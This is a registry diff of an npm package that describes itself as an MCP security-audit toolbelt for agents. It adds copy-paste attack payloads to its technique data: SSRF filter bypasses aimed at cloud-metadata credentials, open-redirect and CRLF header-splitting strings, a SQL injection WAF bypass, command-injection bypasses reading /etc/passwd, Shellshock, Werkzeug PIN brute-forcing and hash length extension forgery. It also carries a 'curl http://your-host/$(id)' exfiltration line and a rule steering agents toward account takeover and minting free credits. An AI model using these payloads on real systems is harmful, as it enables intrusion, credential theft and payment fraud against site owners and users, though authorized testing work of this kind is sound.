blitzstrike 2.4.108 → 2.4.110
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +27 -0
- package/dist/index.js +1 -1
- package/intelligence/techniques.json +44 -5
- package/package.json +1 -1
package/CHANGELOG.md
CHANGED
|
@@ -5,6 +5,33 @@ All notable changes to Blitz Strike are documented here.
|
|
|
5
5
|
The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
|
6
6
|
and this project adheres to [Semantic Versioning](https://semver.org/).
|
|
7
7
|
|
|
8
|
+
## [2.4.110] — 2026-09-17
|
|
9
|
+
|
|
10
|
+
### Added — hash length extension + concrete payload enrichment
|
|
11
|
+
|
|
12
|
+
- New `length_extension` technique class (CWE-328): a MAC computed as
|
|
13
|
+
H(secret+message) with a Merkle–Damgård hash (MD5/SHA-1/SHA-256) lets an
|
|
14
|
+
attacker append data and forge a valid hash without the secret — with the
|
|
15
|
+
hash_extender tool + the ?file=...&mac=... append/path-traversal pattern.
|
|
16
|
+
- Enriched five technique classes with concrete copy-paste payloads:
|
|
17
|
+
`open_redirect` (/%09/, /%5c, //, /\, @ prefixes + param list),
|
|
18
|
+
`crlf_injection` (encoding variants + CRLF→XSS + 301/302 response-splitting +
|
|
19
|
+
Unicode U+2028/U+2029), `ssrf` (octal/hex/decimal/IPv6 IP obfuscation,
|
|
20
|
+
xip.io/nip.io, gopher/dict/php/jar/tftp handlers, cloud metadata),
|
|
21
|
+
`sql_injection` (Kona-style WAF bypass: MID/LIKE//**//double-quote),
|
|
22
|
+
`command_injection` (i'''d, brace expansion, Shellshock, Werkzeug debugger PIN).
|
|
23
|
+
|
|
24
|
+
## [2.4.109] — 2026-09-17
|
|
25
|
+
|
|
26
|
+
### Changed — follow-the-money doctrine rule with concrete proven patterns
|
|
27
|
+
|
|
28
|
+
- Extended the `follow_money` doctrine rule with the two proven business-logic
|
|
29
|
+
shapes behind real payouts: (1) a password-reset logic flaw that resets an
|
|
30
|
+
arbitrary account → account takeover; (2) a credit/invite business-logic flaw
|
|
31
|
+
that lets the client mint its own credits/quota → free money without payment.
|
|
32
|
+
Reinforces "if the client can add credits, apply a discount, or reset a
|
|
33
|
+
credential client-side, that is the highest-value test in the program."
|
|
34
|
+
|
|
8
35
|
## [2.4.108] — 2026-09-17
|
|
9
36
|
|
|
10
37
|
### Added — surface-first map (attack surface → high-value tests)
|
package/dist/index.js
CHANGED
|
@@ -61475,7 +61475,7 @@ var HUNTING_DOCTRINE = [
|
|
|
61475
61475
|
{
|
|
61476
61476
|
id: "follow_money",
|
|
61477
61477
|
title: "Follow the Money",
|
|
61478
|
-
rule: "Billing / credits / refunds / wallet flows have the most developer shortcuts. Price manipulation, payment races, quota bypass = high ROI."
|
|
61478
|
+
rule: "Billing / credits / refunds / wallet flows have the most developer shortcuts. Price manipulation, payment races, quota bypass = high ROI. Proven pattern: a password-reset logic flaw that resets an arbitrary account = account takeover; a business-logic flaw in a credit/invite flow that lets the client mint its own credits/quota = free money without payment. If the app lets you add credits, apply a discount, or reset a credential client-side, that is the highest-value test in the program."
|
|
61479
61479
|
},
|
|
61480
61480
|
{
|
|
61481
61481
|
id: "less_saturated",
|
|
@@ -19,7 +19,11 @@
|
|
|
19
19
|
"Bypass IP filter: 127.1, 0, 0x7f000001, 2130706433, 017700000001, [::1], 127.0.0.1.nip.io, http://127.0.0.1:80@evil/.",
|
|
20
20
|
"DNS rebinding: a name that resolves to allowed at check-time and internal at request-time (e.g. wp_safe_remote_*).",
|
|
21
21
|
"Redirect bypass: allow-listed host that 302s to an internal address.",
|
|
22
|
-
"Schemes: gopher://, dict://, file:// for protocol-level access."
|
|
22
|
+
"Schemes: gopher://, dict://, file:// for protocol-level access.",
|
|
23
|
+
"IP obfuscation: octal http://0177.1/ , hex http://0x7f.1/ , decimal https://520968996 , IPv6 http://[::1] , mixed 127.000.000.1",
|
|
24
|
+
"Wildcard DNS: 10.0.0.1.xip.io / nip.io (resolve to the embedded IP to bypass host allowlists)",
|
|
25
|
+
"Exotic handlers: gopher:// dict:// php:// jar:// tftp://",
|
|
26
|
+
"Cloud metadata: http://169.254.169.254/latest/meta-data/ (AWS) + IAM-role temporary credentials"
|
|
23
27
|
],
|
|
24
28
|
"verify": "Unique marker host receives the callback (proof of SSRF); a benign non-fetching control returns nothing."
|
|
25
29
|
},
|
|
@@ -185,7 +189,8 @@
|
|
|
185
189
|
"PostgreSQL: COPY ... TO, dblink, lo_import, RCE via extensions/languages.",
|
|
186
190
|
"MSSQL: xp_cmdshell, OPENROWSET, stacked queries.",
|
|
187
191
|
"WAF bypass: encoding, case, comments, chunking (see bypass_lookup waf).",
|
|
188
|
-
"Second-order: stored value later used in a query without re-validating."
|
|
192
|
+
"Second-order: stored value later used in a query without re-validating.",
|
|
193
|
+
"WAF bypass (Kona-style): MID() for SUBSTRING, LIKE for =, /**/ for space, CURRENT_USER for CURRENT_USER(), double-quote for single-quote \u2014 444/**/OR/**/MID(CURRENT_USER,1,1)/**/LIKE/**/\"p\"/**/#"
|
|
189
194
|
],
|
|
190
195
|
"verify": "A boolean/UNION marker returns distinct data (1 vs 0, or a known string); a parameterized control query is inert."
|
|
191
196
|
},
|
|
@@ -359,7 +364,9 @@
|
|
|
359
364
|
"techniques": [
|
|
360
365
|
"//evil.com (protocol-relative), https://trusted.com@evil.com (userinfo), backslash, double-encode.",
|
|
361
366
|
"javascript: and data: (rare).",
|
|
362
|
-
"Chain: open redirect in redirect_uri -> steal OAuth authorization code."
|
|
367
|
+
"Chain: open redirect in redirect_uri -> steal OAuth authorization code.",
|
|
368
|
+
"Prefix/bypass: /%09/ , /%5c , // , /\\ , @ (userinfo) \u2014 e.g. //google.com/%2f%2e%2e , /\\victim.com:80%40google.com",
|
|
369
|
+
"Fuzz the redirect params (?url= ?next= ?to= ?view= ?out= ?redirect= ?return= ?dest=) with http:// , // , / , /\\ , /// , %2f%2f prefixes"
|
|
363
370
|
],
|
|
364
371
|
"verify": "The response actually redirects to your marker host; a control redirect to a whitelisted relative path stays on-site."
|
|
365
372
|
},
|
|
@@ -501,7 +508,10 @@
|
|
|
501
508
|
"techniques": [
|
|
502
509
|
"Separators: ; | & && || backtick $() %0a (newline).",
|
|
503
510
|
"Blind: sleep 5 (time-based), or curl http://your-host/$(id) (callback exfil).",
|
|
504
|
-
"Filter bypass: variable expansion, base64, $(tr), unicode."
|
|
511
|
+
"Filter bypass: variable expansion, base64, $(tr), unicode.",
|
|
512
|
+
"Command bypass: i'''d , \\l\\s -l\\a\\h , cat /e?c/p?ss?? , cat /e??/??ss* , {ls,} {ls,-a}",
|
|
513
|
+
"Shellshock: () { :;}; echo vulnerable (inject via User-Agent / other headers)",
|
|
514
|
+
"Werkzeug debugger: trigger a unicode error (a cyrillic '\u0456' in 'string') -> debug console -> brute the ***-***-*** PIN for RCE"
|
|
505
515
|
],
|
|
506
516
|
"verify": "A marker command actually executes (callback received / sleep observed); a control with no separator runs the intended command."
|
|
507
517
|
},
|
|
@@ -546,7 +556,10 @@
|
|
|
546
556
|
"`/%0d%0aLocation:%20http://attacker.com` for open redirect via header splitting",
|
|
547
557
|
"`GET /%20HTTP/1.1%0d%0aHost:x%0d%0aConnection:keep-alive%0d%0a%0d%0aGET /redir HTTP/1.1...` for request smuggling / response queue poisoning",
|
|
548
558
|
"Unicode newline bypass: `%E2%80%A8` (U+2028), `%E2%80%A9` (U+2029), `%C2%85` (NEL) when literal CR/LF is stripped",
|
|
549
|
-
"PHP SoapClient `user_agent` CRLF to inject a full second HTTP request (SSRF); session-file poisoning with `user=root\\ntfa_verified=1`"
|
|
559
|
+
"PHP SoapClient `user_agent` CRLF to inject a full second HTTP request (SSRF); session-file poisoning with `user=root\\ntfa_verified=1`",
|
|
560
|
+
"Header injection encodings: %0d%0a , %0a , %0d , %23%0d , %3f%0d , %u000a , %250a , %25250a (double-encode variants)",
|
|
561
|
+
"Escalate to XSS: inject Content-Length + a body (CRLF -> XSS); or 301/302 response-splitting before the Location header (break the redirect with xxx:1 then inject a body)",
|
|
562
|
+
"Unicode line-separator bypass: %E5%98%8A%E5%98%8D (U+2028/U+2029)"
|
|
550
563
|
],
|
|
551
564
|
"verify": "Positive marker: inject `%0d%0aSet-Cookie:crlf=<random>;` and confirm the response sets that exact cookie. Negative control: resend the same request URL-encoding the CRLF (`%250d%250a`) \u2014 the cookie must NOT appear, proving the server did not decode it itself and that the split is genuinely caused by raw CRLF."
|
|
552
565
|
},
|
|
@@ -1306,6 +1319,32 @@
|
|
|
1306
1319
|
"lock.cmpxchg8b.com/rebinder.html \u2014 DNS-rebinding test harness",
|
|
1307
1320
|
"192-168-1-1.sslip.io \u2014 wildcard DNS returning a fixed embedded IP (setup/probe)"
|
|
1308
1321
|
]
|
|
1322
|
+
},
|
|
1323
|
+
{
|
|
1324
|
+
"id": "length_extension",
|
|
1325
|
+
"name": "Hash Length Extension Attack",
|
|
1326
|
+
"summary": "A MAC/signature computed as H(secret + message) with a Merkle-Damgard hash (MD5 / SHA-1 / SHA-256) lets an attacker APPEND data and compute a valid hash WITHOUT the secret \u2014 forging authenticated file downloads, API signatures, and cookies (CWE-328).",
|
|
1327
|
+
"objectives": [
|
|
1328
|
+
"Find a signed parameter (mac/signature/hash) that covers a known message with a secret prefix",
|
|
1329
|
+
"Identify the hash algorithm and the exact message length (byte length of the signed string)"
|
|
1330
|
+
],
|
|
1331
|
+
"how_to_test": [
|
|
1332
|
+
"Look for ?file=...&mac=<hex> or signed tokens where the signature covers a known message",
|
|
1333
|
+
"Run hash_extender with the known hash, the message length, and the data to append",
|
|
1334
|
+
"Replay the request with the extended message + forged hash"
|
|
1335
|
+
],
|
|
1336
|
+
"techniques": [
|
|
1337
|
+
"Extend ?file=report.pdf&mac=<hash> into ?file=report.pdf<PADDING>../../../../etc/passwd&mac=<forged> (path traversal past the prefix)",
|
|
1338
|
+
"Append attacker-controlled fields to a signed cookie (e.g. &admin=1) without knowing the secret",
|
|
1339
|
+
"Works on MD5/SHA-1/SHA-256 (Merkle-Damgard); does NOT work on HMAC (keyed differently) or SHA-3/Blake2"
|
|
1340
|
+
],
|
|
1341
|
+
"verify": [
|
|
1342
|
+
"The extended request returns 200 (not 401/403 invalid-signature)",
|
|
1343
|
+
"The appended data actually changes the result (file content / privilege) \u2014 a marker proves it, not just a 200"
|
|
1344
|
+
],
|
|
1345
|
+
"tools": [
|
|
1346
|
+
"hash_extender (iagox86) \u2014 given a hash + message length, compute the forged hash for appended data"
|
|
1347
|
+
]
|
|
1309
1348
|
}
|
|
1310
1349
|
]
|
|
1311
1350
|
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "blitzstrike",
|
|
3
|
-
"version": "2.4.
|
|
3
|
+
"version": "2.4.110",
|
|
4
4
|
"description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"bin": {
|